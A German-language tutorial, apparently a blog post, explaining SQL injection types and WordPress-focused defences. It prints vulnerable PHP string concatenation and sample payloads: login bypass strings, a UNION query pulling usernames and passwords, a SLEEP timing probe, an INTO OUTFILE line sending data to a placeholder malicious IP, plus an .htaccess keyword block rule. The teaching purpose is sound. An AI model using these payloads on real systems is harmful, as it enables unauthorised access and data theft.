SQL (Structured Query Language) ist eine Sprache, die es uns erlaubt, mit Datenbanken zu interagieren. Moderne Webanwendungen verwenden Datenbanken, um Daten zu verwalten und dynamische Inhalte für die Leser anzuzeigen.
SQL Injection oder SQLi ist ein Angriff auf eine Webanwendung, bei dem die Datenbank durch bösartige SQL-Anweisungen kompromittiert wird.
Da es sich um einen häufigen Angriff handelt, wollen wir versuchen, mehr darüber zu erfahren, was es ist, wie es geschieht und wie man sich dagegen verteidigen kann.
Bereit? Tauchen wir ein!
Was ist SQL Injection?
SQL Injection oder SQLi ist eine Art von Angriff auf eine Webanwendung, die es einem Angreifer ermöglicht, bösartige SQL-Anweisungen in die Webanwendung einzufügen, wodurch er möglicherweise Zugang zu sensiblen Daten in der Datenbank erhält oder diese Daten zerstört werden können. SQL Injection wurde erstmals 1998 von Jeff Forristal entdeckt.
In den zwei Jahrzehnten seit seiner Entdeckung war die SQL Injection für Webentwickler bei der Entwicklung von Anwendungen stets die oberste Priorität.
Barclaycard schätzte 2012, dass 97% der Datenverletzungen mit einem SQL Injection-Angriff beginnen. Eine SQL Injection ist auch heute noch weit verbreitet, und die Schwere von Injection-Angriffen in einer Webanwendung ist weithin anerkannt. Sie gehört zu den zehn kritischsten Sicherheitsrisiken für Webanwendungen von OWASP.
Wie funktioniert die SQL Injection-Schwachstelle?
Eine SQL Injection-Schwachstelle ermöglicht einem Angreifer den vollständigen Zugriff auf die Datenbank deiner Anwendung durch bösartige SQL-Anweisungen.
In diesem Abschnitt zeigen wir ein Beispiel dafür, wie eine verwundbare Anwendung aussieht.
Stelle dir den Arbeitsablauf einer typischen Webanwendung vor, bei der Datenbankanforderungen durch Benutzereingaben erfolgen. Du nimmst die Benutzereingaben über ein Formular, z.B. ein Anmeldeformular, entgegen. Dann fragt man die Datenbank mit den vom Benutzer eingereichten Feldern ab, um sie zu authentifizieren. Die Struktur der Abfrage an die Datenbank ist ungefähr so:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
Der Einfachheit halber nehmen wir an, dass du deine Passwörter als Klartext speicherst. Es ist jedoch eine gute Praxis, die Passwörter zu verstecken und sie dann zu hashen. Wenn du den Benutzernamen und das Passwort aus dem Formular erhalten hast, kannst du die Abfrage in PHP wie folgt definieren:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
Wenn jemand den Wert „admin‘;-“ in das Feld für den Benutzernamen eingibt, sieht die resultierende SQL-Abfrage, die die Variable $db_query erzeugt, wie folgt aus:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
Was bewirkt diese Abfrage?
Ein Kommentar in SQL beginnt mit doppelten Strichen (-). Die resultierende Abfrage filtert nur nach dem Benutzernamen, ohne das Passwort zu berücksichtigen. Wenn es keine Sicherheitsvorkehrungen gäbe, um dies zu vermeiden, würde man nur über diesen Trick administrativen Zugriff auf die Webanwendung erhalten.
Alternativ kann in diesem Beispiel auch ein boolescher Angriff verwendet werden, um Zugang zu erhalten. Wenn ein Angreifer „password‘ oder 1=1;-“ in das Passwortfeld eingibt, würde die resultierende Abfrage wie folgt aussehen:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
In diesem Fall würdest du selbst bei einem falschen Passwort in der Anwendung authentifiziert werden. Wenn die Ergebnisse der Datenbankabfrage auf der Webseite angezeigt werden, kann ein Angreifer den Befehl show tables verwenden, die Tabellen in der Datenbank anzeigen lassen und dann Tabellen selektiv fallen lassen, wenn er dies wünscht.

Heldentaten einer Mutter, ein beliebter Comic von XKCD, zeigt das Gespräch einer Mutter mit der Schule ihres Sohnes, in dem sie gefragt wird, ob sie ihren Sohn wirklich “Robert’); DROP TABLE Students; –” genannt hat.
Arten von SQL Injection
Da wir nun die Grundlagen einer SQL-Injection-Schwachstelle kennen, wollen wir die verschiedenen Arten von SQL-Injection-Angriffen und den Grund für jeden dieser Angriffe untersuchen.
In-Band SQL-Injection
In-Band-SQL-Injection ist die einfachste Form der SQL-Injection. Bei diesem Verfahren kann der Angreifer den gleichen Kanal nutzen, um den bösartigen SQL-Code in die Anwendung einzufügen und die Ergebnisse zu sammeln. Wir werden zwei Formen von In-Band-SQL-Injection-Angriffen diskutieren:
Fehlerbasierter Angriff
Ein Angreifer verwendet in der Anfangsphase seines Angriffs eine fehlerbasierte SQL-Injektionstechnik. Die Idee hinter einer fehlerbasierten SQL-Injection ist es, weitere Informationen über die Datenbankstruktur und die Tabellennamen zu erhalten, denen die Webanwendung folgt. So kann eine Fehlermeldung beispielsweise den in der Abfrage enthaltenen Tabellennamen und die Spaltennamen der Tabelle enthalten. Diese Daten können dann zur Erstellung neuer Angriffe verwendet werden.
Unionsbasierter Angriff
Bei dieser Methode verwendet ein Angreifer den SQL-Union-Join, um die Ergebnisse aus einer anderen Tabelle anzuzeigen. Wenn sich ein Angreifer zum Beispiel auf einer Suchseite befindet, kann er die Ergebnisse aus einer anderen Tabelle anhängen.
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
Inferential SQL Injection (Blind SQL Injection)
Selbst wenn ein Angreifer einen Fehler in der SQL-Abfrage erzeugt, kann es vorkommen, dass die Antwort der Abfrage nicht direkt auf die Webseite übertragen wird. In einem solchen Fall muss der Angreifer weitere Untersuchungen durchführen.
Bei dieser Form der SQL-Injektion sendet der Angreifer verschiedene Abfragen an die Datenbank, um zu beurteilen, wie die Anwendung diese Antworten analysiert. Eine inferentielle SQL-Injection wird manchmal auch als blinde SQL-Injection bezeichnet. Im Folgenden werden zwei Arten von inferentiellen SQL-Injections betrachtet: Boolesche SQL-Injection und zeitbasierte SQL-Injection.
Boolescher Angriff
Wenn eine SQL-Abfrage zu einem Fehler führt, der nicht intern in der Anwendung behandelt wurde, kann die resultierende Webseite einen Fehler auslösen, eine leere Seite laden oder teilweise geladen werden. Bei einer booleschen SQL-Injection bewertet ein Angreifer, welche Teile der Eingabe eines Benutzers für SQL-Injections anfällig sind, indem er zwei verschiedene Versionen einer booleschen Klausel durch die Eingabe ausprobiert:
- „… and 1=1“
- „… and 1=2“
Wenn die Anwendung im ersten Fall normal funktioniert, aber im zweiten Fall eine Anomalie aufweist, deutet dies darauf hin, dass die Anwendung für einen SQL-Injection-Angriff anfällig ist.
Zeitbasierter Angriff
Ein zeitbasierter SQL-Injection-Angriff kann einem Angreifer auch dabei helfen, festzustellen, ob eine Schwachstelle in einer Webanwendung vorhanden ist. Ein Angreifer nutzt eine vordefinierte zeitbasierte Funktion des Datenbankverwaltungssystems, die von der Anwendung verwendet wird. In MySQL weist beispielsweise die Funktion sleep() die Datenbank an, eine bestimmte Anzahl von Sekunden zu warten.
select * from comments
WHERE post_id=1-SLEEP(15);
Wenn eine solche Abfrage zu einer Verzögerung führt, würde der Angreifer wissen, dass er verwundbar ist.
Out-of-Band-SQL-Injection
Wenn ein Angreifer nicht in der Lage ist, die Ergebnisse einer SQL-Injektion über den gleichen Kanal zu erfassen. Out-of-Band-SQL-Injection-Techniken können als Alternative zu inferentiellen SQL-Injection-Techniken verwendet werden.
Typischerweise beinhalten diese Techniken das Senden von Daten aus der Datenbank an einen bösartigen Ort der Wahl des Angreifers. Auch dieser Prozess hängt in hohem Maße von den Fähigkeiten des Datenbankmanagementsystems ab.
Ein Out-of-Band-SQL-Injection-Angriff nutzt eine externe Dateiverarbeitungsfunktion deines DBMS. In MySQL können die Funktionen LOAD_FILE() und INTO OUTFILE verwendet werden, um MySQL zur Übertragung der Daten an eine externe Quelle aufzufordern. Im Folgenden wird erläutert, wie ein Angreifer OUTFILE verwenden könnte, um die Ergebnisse einer Abfrage an eine externe Quelle zu senden:
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
In ähnlicher Weise kann die Funktion LOAD_FILE() verwendet werden, um eine Datei vom Server zu lesen und ihren Inhalt anzuzeigen. Eine Kombination aus LOAD_FILE() und OUTFILE kann verwendet werden, um den Inhalt einer Datei auf dem Server zu lesen und sie dann an eine andere Stelle zu übertragen.
So verhindert man SQL-Injections
Bisher haben wir die Schwachstellen in einer Webanwendung untersucht, die zu SQL-Injection-Angriffen führen können. Eine SQL-Injection-Schwachstelle kann von einem Angreifer genutzt werden, um den Inhalt Ihrer Datenbank zu lesen, zu ändern oder sogar zu entfernen.
Darüber hinaus kann sie es auch ermöglichen, eine Datei an einem beliebigen Ort innerhalb des Servers zu lesen und den Inhalt an einen anderen Ort zu übertragen. In diesem Abschnitt untersuchen wir verschiedene Techniken zum Schutz deiner Webanwendung und Website vor SQL-Injection-Angriffen.
Escape-Benutzereingaben
Im Allgemeinen ist es eine schwierige Aufgabe, festzustellen, ob eine Benutzerzeichenfolge bösartig ist oder nicht. Daher ist es am besten, Sonderzeichen in der Benutzereingabe zu vermeiden.
Dieser Prozess bewahrt dich vor einem SQL-Injection-Angriff. Du kannst einen String vor dem Erstellen der Anfrage in PHP mit der Funktion mysql_escape_string()
entkommen lassen. Du kannst eine Zeichenkette in MySQL auch mit der Funktion mysqli_real_escape_string()
entkommen.
Wenn du die Ausgabe als HTML anzeigst, musst du die Zeichenkette auch konvertieren, um sicherzustellen, dass die Sonderzeichen das HTML-Markup nicht stören. Du kannst Sonderzeichen in PHP mit der Funktion htmlspecialchars()
konvertieren.
Vorbereitete Anweisungen verwenden
Alternativ kannst du vorbereitete Anweisungen verwenden, um SQL-Injections zu vermeiden. Eine Prepared Statement ist eine Vorlage für eine SQL-Abfrage, bei der du zu einem späteren Zeitpunkt Parameter angibst, um sie auszuführen. Hier ist ein Beispiel für eine vorbereitete Anweisung in PHP und MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
Weitere Hygieneprüfungen zur Verhinderung von SQL-Angriffen
Der nächste Schritt zur Eindämmung dieser Schwachstelle besteht darin, den Zugriff auf die Datenbank auf das notwendige Maß zu beschränken.
Verbinde z.B. deine Webanwendung mit dem DBMS unter Verwendung eines bestimmten Benutzers, der nur Zugriff auf die entsprechende Datenbank hat.
Beschränke den Zugriff des Datenbankbenutzers auf alle anderen Standorte des Servers. Möglicherweise soll auch der Zugriff auf bestimmte SQL-Schlüsselwörter in der URL über den Webserver blockiert werden. Wenn du Apache als Web-Server verwendest, kannst du die folgenden Codezeilen in deiner .htaccess-Datei verwenden, um einem potentiellen Angreifer einen 403 Forbidden-Fehler anzuzeigen.
Du solltest vorsichtig sein, bevor du diese Technik verwendest, da der Apache einem Leser einen Fehler anzeigt, wenn die URL diese Schlüsselwörter enthält.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]
Als zusätzlichen Präventionstipp solltest du immer aktualisierte Software verwenden. Wenn eine neue Version oder ein Patch veröffentlicht wird, werden die Fehler, die in der Aktualisierung behoben wurden, in den Versionshinweisen detailliert aufgeführt. Sobald die Details eines Fehlers öffentlich bekannt sind, kann es riskant sein, eine alte Version einer Software zu verwenden.
SQL Injection in WordPress
Du bist sicher vor jeder SQL-Injection-Schwachstelle, wenn du die aktuelle WordPress-Core Datei verwendest. Wenn du jedoch Themes und Plugins von Drittanbietern verwenden, ist deine gesamte Anwendung gefährdet.
Deine WordPress-Seite ist nur so stark wie ihr schwächstes Glied. In diesem Abschnitt gehen wir auf die wichtigsten Überlegungen zur Minderung der SQL-Injection-Schwachstelle in WordPress ein und zeigen dir, wie du auf deiner bestehenden WordPress-Seite Schwachstellenprüfungen durchführen kannst.
Prävention von SQL-Injection-Schwachstellen in WordPress
Um die Anfälligkeit von SQL Injection in deinem WordPress-Theme oder Plugin zu mindern, musst du als einzige Regel befolgen, dass du bei der Interaktion mit der Datenbank immer vorhandene WordPress-Funktionen verwendest.
Diese Funktionen werden während des WordPress-Entwicklungsprozesses gründlich auf SQL-Injection-Schwachstellen getestet. Wenn du beispielsweise einen Kommentar zu einem Beitrag hinzufügen möchtest, verwende die Funktion wp_insert_comment(), anstatt Daten direkt in die wp_comments-Tabelle einzufügen.
Obwohl die Funktionen erweiterbar sind, kann es sein, dass du gelegentlich eine komplexe Abfrage ausführen musst. Stelle in einem solchen Fall sicher, dass du die Funktionsgruppe $wp_db verwendest. Du kannst $wpdb->prepare() verwenden, um Benutzereingaben vor der Erstellung der Abfrage zu vermeiden.
Zusätzlich findest du hier eine Liste von Funktionen zur Bereinigung von Daten in WordPress. Diese helfen dabei, bestimmte Arten von Benutzereingaben wie E-Mails und URLs zu umgehen.
Sichere deine WordPress Seite
Während WordPress selbst sicher ist, können Probleme wie veraltete Core-Software und ungültige Plugins zu Schwachstellen führen. Es gibt zwar keine Alternative dazu, dass du deine WordPress-Seite gründlich auf SQL-Injection-Schwachstellen überprüfst, aber die Komplexität einer Website kann diese Aufgabe zu einer Herausforderung machen.
Du kannst ein Online-Scan-Tool wie ThreatPass und WPScan Vulnerability Database verwenden. Du kannst deine Plugins überprüfen, um zu sehen, ob ihre Entwicklung zum Stillstand gekommen ist. Wenn sie vor einer Weile aufgegeben wurden, ist es vielleicht keine gute Idee, sie auf deiner Website zu verwenden.
Wenn du sie dennoch unbedingt verwenden willst, stelle sicher, dass du ihren Code und ihre Funktionalität gründlich auf Schwachstellen prüfst. Ansonsten solltest du unbedingt diese Hygiene-Checks durchführen:
- PHP, WordPress-Core und MySQL aktualisieren
- Aktualisierung von Plugins und Themes von Drittanbietern
- Vermeide die Verwendung des Root-Benutzers zur Verbindung der SQL-Datenbank
- Beschränke die Zugriffe des SQL-Benutzers auf sensible Verzeichnisse
- Blockiere SQL-Schlüsselwörter mit deinem Server
- Halte Backups deiner Website für den Fall von irreversiblen Schäden außerhalb der Webseite
Hier ist ein detaillierter Beitrag über die Sicherheit von WordPress und eine umfassende Liste von Prüfungen. Darüber hinaus solltest du in diese Top-Sicherheits-Plugins für WordPress investieren. Hier ist, was du tun solltest, wenn deine WordPress-Seite trotz deiner Bemühungen gehackt wird.
Ist SQL-Injection illegal?
Definitiv, ja! Auch wenn es eine tatsächliche Schwachstelle gibt, versucht ein Angreifer immer noch, Zugriff auf Daten zu erhalten, die ihm sonst nicht zur Verfügung stünden.
Stelle dir ein Szenario vor, bei dem jemand seine Schlüssel im Auto liegen lässt. Stellt das Wegfahren darin ein Vergehen dar, nur weil es offen und unbeaufsichtigt gelassen wurde? Die Handlung von SQLi fällt in verschiedenen Ländern unter unterschiedliche Gesetze. In den USA fällt es unter den Computer Fraud and Abuse Act (1986) und im Vereinigten Königreich unter den Computer Misuse Act (1990).
Zusammenfassung
SQL-Injections-Schwachstellen wurden vor langer Zeit entdeckt. Ein Bericht aus dem Jahr 2018 über gehackte Websites lässt jedoch vermuten, dass SQLi der häufigste Website-Hack für WordPress nach XSS-Angriffen ist. Um sie zu verhindern, solltest du das tun:
- Verstehen, wie die SQL-Injection-Schwachstelle funktioniert
- Untersuche die verschiedene Möglichkeiten, wie Angreifer SQLi verwenden können, um unbefugten Zugriff auf deine Webanwendung zu erhalten.
- Implementiere Methoden zum Schutz deiner Website vor SQLi-Angriffen, wie z.B. das Entgehen von Benutzereingaben und die Verwendung vorbereiteter Anweisungen.
- Folge einer Sicherheitskontrollroutine
Wie das alte Sprichwort sagt: „Vorsorge ist besser als Nachsorge“
Schreibe einen Kommentar